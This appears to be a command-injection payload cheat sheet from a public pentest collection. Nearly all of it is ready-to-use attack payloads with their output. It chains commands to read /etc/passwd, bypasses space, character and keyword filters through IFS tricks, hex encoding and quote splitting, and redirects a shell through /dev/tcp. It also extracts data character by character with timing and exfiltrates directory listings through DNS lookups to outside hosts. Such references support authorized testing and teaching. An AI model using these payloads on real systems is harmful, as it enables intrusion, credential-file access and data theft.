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Command Injection

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

Summary

Tools

Exploits

Basic commands

Execute the command and voila :p

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Chaining commands

original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls   # Only if the first cmd fail

Inside a command

original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)

Filter Bypasses

Bypass without space

Works on Linux only.

swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242

Commands execution without spaces, $ or { } - Linux (Bash only)

IFS=,;`cat<<<uname,-a`

Tabs work as separators in web apps where spaces are removed.

;ls%09-al%09/home
drwxr-xr-x  4 root root  4096 Jan 10 13:34 .
drwxr-xr-x 18 root root  4096 Jan 10 13:33 ..
drwx------  2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x  4 test test  4096 Jan 13 08:30 test

Works on Windows only.

ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP

Bypass with a line return

something%0Acat%20/etc/passwd

You can also write files.

;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello

Bypass characters filter via hex encoding

Linux

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

Bypass characters filter

Commands execution without backslash and slash - linux bash

swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

Bypass Blacklisted words

Bypass with single quote

w'h'o'am'i

Bypass with double quote

w"h"o"am"i

Bypass with backslash and slash

w\ho\am\i
/\b\i\n/////s\h

Bypass with $@

who$@ami

echo $0
-> /usr/bin/zsh
echo whoami|$0

Bypass with $()

who$()ami
who$(echo am)i
who`echo am`i

Bypass with variable expansion

/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Bypass with wildcards

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

Challenge

Challenge based on the previous tricks, what does the following command do:

g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

Time based data exfiltration

Extracting data : char by char

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Polyglot command injection

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

References

Last update: August 30, 2022